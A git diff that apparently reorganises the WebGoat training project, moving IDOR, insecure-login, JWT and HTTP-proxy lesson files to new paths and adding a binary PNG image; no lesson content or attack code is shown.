a/webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_resend.png b/src/main/resources/lessons/http_proxies/images/zap_edit_and_resend.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_resend.png rename to src/main/resources/lessons/http_proxies/images/zap_edit_and_resend.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_response.png b/src/main/resources/lessons/http_proxies/images/zap_edit_and_response.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_response.png rename to src/main/resources/lessons/http_proxies/images/zap_edit_and_response.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_send.png b/src/main/resources/lessons/http_proxies/images/zap_edit_and_send.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_send.png rename to src/main/resources/lessons/http_proxies/images/zap_edit_and_send.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap_exclude.png b/src/main/resources/lessons/http_proxies/images/zap_exclude.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap_exclude.png rename to src/main/resources/lessons/http_proxies/images/zap_exclude.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap_exclude_url.png b/src/main/resources/lessons/http_proxies/images/zap_exclude_url.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap_exclude_url.png rename to src/main/resources/lessons/http_proxies/images/zap_exclude_url.png diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_editOtherProfile.adoc b/src/main/resources/lessons/idor/documentation/IDOR_editOtherProfile.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_editOtherProfile.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_editOtherProfile.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_editOwnProfile.adoc b/src/main/resources/lessons/idor/documentation/IDOR_editOwnProfile.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_editOwnProfile.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_editOwnProfile.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_inputAltPath.adoc b/src/main/resources/lessons/idor/documentation/IDOR_inputAltPath.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_inputAltPath.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_inputAltPath.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_intro.adoc b/src/main/resources/lessons/idor/documentation/IDOR_intro.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_intro.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_intro.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_login.adoc b/src/main/resources/lessons/idor/documentation/IDOR_login.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_login.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_login.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_mitigation.adoc b/src/main/resources/lessons/idor/documentation/IDOR_mitigation.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_mitigation.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_mitigation.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_viewDiffs.adoc b/src/main/resources/lessons/idor/documentation/IDOR_viewDiffs.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_viewDiffs.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_viewDiffs.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_viewOtherProfile.adoc b/src/main/resources/lessons/idor/documentation/IDOR_viewOtherProfile.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_viewOtherProfile.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_viewOtherProfile.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_viewOwnAltPath.adoc b/src/main/resources/lessons/idor/documentation/IDOR_viewOwnAltPath.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_viewOwnAltPath.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_viewOwnAltPath.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_whatDiffs.adoc b/src/main/resources/lessons/idor/documentation/IDOR_whatDiffs.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_whatDiffs.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_whatDiffs.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/temp.txt b/src/main/resources/lessons/idor/documentation/temp.txt similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/temp.txt rename to src/main/resources/lessons/idor/documentation/temp.txt diff --git a/webgoat-lessons/idor/src/main/resources/html/IDOR.html b/src/main/resources/lessons/idor/html/IDOR.html similarity index 91% rename from webgoat-lessons/idor/src/main/resources/html/IDOR.html rename to src/main/resources/lessons/idor/html/IDOR.html index 77f58adbd..b4b7f530f 100644 --- a/webgoat-lessons/idor/src/main/resources/html/IDOR.html +++ b/src/main/resources/lessons/idor/html/IDOR.html @@ -4,14 +4,14 @@ -
+
-
+
@@ -46,7 +46,7 @@ -
+
@@ -76,7 +76,7 @@ -
+
-
+
@@ -108,7 +108,7 @@ -
+
@@ -123,7 +123,7 @@ -
+
@@ -147,7 +147,7 @@
-
+
@@ -176,7 +176,7 @@ -
+
diff --git a/webgoat-lessons/idor/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/idor/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/idor/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/idor/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/idor/src/main/resources/js/idor.js b/src/main/resources/lessons/idor/js/idor.js similarity index 100% rename from webgoat-lessons/idor/src/main/resources/js/idor.js rename to src/main/resources/lessons/idor/js/idor.js diff --git a/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc b/src/main/resources/lessons/insecure_login/documentation/InsecureLogin_Intro.adoc similarity index 100% rename from webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc rename to src/main/resources/lessons/insecure_login/documentation/InsecureLogin_Intro.adoc diff --git a/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Task.adoc b/src/main/resources/lessons/insecure_login/documentation/InsecureLogin_Task.adoc similarity index 100% rename from webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Task.adoc rename to src/main/resources/lessons/insecure_login/documentation/InsecureLogin_Task.adoc diff --git a/webgoat-lessons/insecure-login/src/main/resources/html/InsecureLogin.html b/src/main/resources/lessons/insecure_login/html/InsecureLogin.html similarity index 86% rename from webgoat-lessons/insecure-login/src/main/resources/html/InsecureLogin.html rename to src/main/resources/lessons/insecure_login/html/InsecureLogin.html index 7415bf0f1..1c34ab781 100755 --- a/webgoat-lessons/insecure-login/src/main/resources/html/InsecureLogin.html +++ b/src/main/resources/lessons/insecure_login/html/InsecureLogin.html @@ -6,12 +6,12 @@ -
+
-
+
diff --git a/webgoat-lessons/insecure-login/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/insecure_login/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/insecure-login/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/insecure_login/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/insecure-login/src/main/resources/js/credentials.js b/src/main/resources/lessons/insecure_login/js/credentials.js similarity index 100% rename from webgoat-lessons/insecure-login/src/main/resources/js/credentials.js rename to src/main/resources/lessons/insecure_login/js/credentials.js diff --git a/webgoat-lessons/jwt/src/main/resources/css/jwt.css b/src/main/resources/lessons/jwt/css/jwt.css similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/css/jwt.css rename to src/main/resources/lessons/jwt/css/jwt.css diff --git a/webgoat-lessons/jwt/src/main/resources/db/migration/V2019_09_25_1__jwt.sql b/src/main/resources/lessons/jwt/db/migration/V2019_09_25_1__jwt.sql similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/db/migration/V2019_09_25_1__jwt.sql rename to src/main/resources/lessons/jwt/db/migration/V2019_09_25_1__jwt.sql diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_decode.adoc b/src/main/resources/lessons/jwt/documentation/JWT_decode.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_decode.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_decode.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc b/src/main/resources/lessons/jwt/documentation/JWT_final.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_final.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_libraries.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_assignment.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_assignment.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_assignment2.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment2.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_assignment2.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment2.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_solution.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries_solution.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_solution.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_libraries_solution.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc b/src/main/resources/lessons/jwt/documentation/JWT_login_to_token.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_login_to_token.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_mitigation.adoc b/src/main/resources/lessons/jwt/documentation/JWT_mitigation.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_mitigation.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_mitigation.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc b/src/main/resources/lessons/jwt/documentation/JWT_plan.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_plan.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc b/src/main/resources/lessons/jwt/documentation/JWT_refresh.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_refresh.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc b/src/main/resources/lessons/jwt/documentation/JWT_refresh_assignment.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_refresh_assignment.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc b/src/main/resources/lessons/jwt/documentation/JWT_signing.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_signing.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing_solution.adoc b/src/main/resources/lessons/jwt/documentation/JWT_signing_solution.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing_solution.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_signing_solution.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc b/src/main/resources/lessons/jwt/documentation/JWT_storing.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_storing.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_structure.adoc b/src/main/resources/lessons/jwt/documentation/JWT_structure.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_structure.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_structure.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys b/src/main/resources/lessons/jwt/documentation/JWT_weak_keys similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys rename to src/main/resources/lessons/jwt/documentation/JWT_weak_keys diff --git a/webgoat-lessons/jwt/src/main/resources/html/JWT.html b/src/main/resources/lessons/jwt/html/JWT.html similarity index 92% rename from webgoat-lessons/jwt/src/main/resources/html/JWT.html rename to src/main/resources/lessons/jwt/html/JWT.html index 20097ca15..fdf7a5fa6 100644 --- a/webgoat-lessons/jwt/src/main/resources/html/JWT.html +++ b/src/main/resources/lessons/jwt/html/JWT.html @@ -3,14 +3,14 @@
-
+
-
+
-
+
@@ -35,10 +35,10 @@
-
+
-
+
@@ -102,7 +102,7 @@
-
+
@@ -112,7 +112,7 @@ -
+
@@ -134,18 +134,18 @@
-
+
-
+
-
+

 
@@ -173,11 +173,11 @@
 
-
+
-
+
@@ -299,7 +299,7 @@
-
+
@@ -359,8 +359,8 @@
-
+
- \ No newline at end of file + diff --git a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/jwt/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/jwt/i18n/WebGoatLabels.properties diff --git a/src/main/resources/lessons/jwt/images/challenge1-small.png b/src/main/resources/lessons/jwt/images/challenge1-small.png new file mode 100644 index 0000000000000000000000000000000000000000..a4fbc347015e27eb350ff0ab06a68081ad26f231 GIT binary patch literal 11722 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 